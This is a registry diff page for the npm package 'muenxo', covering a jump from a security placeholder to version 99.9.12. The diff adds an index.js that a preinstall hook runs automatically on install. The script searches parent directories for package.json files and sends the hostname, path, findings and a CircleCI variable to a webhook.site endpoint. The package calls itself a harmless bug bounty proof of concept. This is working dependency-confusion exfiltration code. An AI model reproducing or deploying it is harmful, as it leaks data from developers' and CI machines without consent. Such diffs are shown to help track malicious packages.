muenxo 0.0.1-security → 99.9.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of muenxo might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// Lệnh tìm kiếm package.json ở các thư mục cấp cao hơn và lọc ra các dependencies
|
|
6
|
+
const findCmd = 'find ../.. -maxdepth 4 -name "package.json" -exec grep -H "dependencies" {} + | head -n 5';
|
|
7
|
+
|
|
8
|
+
exec(findCmd, (error, stdout, stderr) => {
|
|
9
|
+
const payload = JSON.stringify({
|
|
10
|
+
package: "muenxo",
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
path: process.cwd(),
|
|
13
|
+
found_files: stdout || "Nothing found in parents",
|
|
14
|
+
env_vars: process.env.CIRCLE_PROJECT_REPONAME || "No project name in ENV"
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
const url = new URL("https://webhook.site/dec9982d-a553-40a5-918f-58aa111e65c2");
|
|
18
|
+
const options = {
|
|
19
|
+
hostname: url.hostname,
|
|
20
|
+
path: url.pathname,
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: {
|
|
23
|
+
'Content-Type': 'application/json',
|
|
24
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
25
|
+
}
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
const req = http.request(options);
|
|
29
|
+
req.on('error', () => {});
|
|
30
|
+
req.write(payload);
|
|
31
|
+
req.end();
|
|
32
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "muenxo",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.12",
|
|
4
|
+
"description": "Security Research PoC for Shopify Bug Bounty. Harmless.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "SecurityResearcher",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=muenxo for more information.
|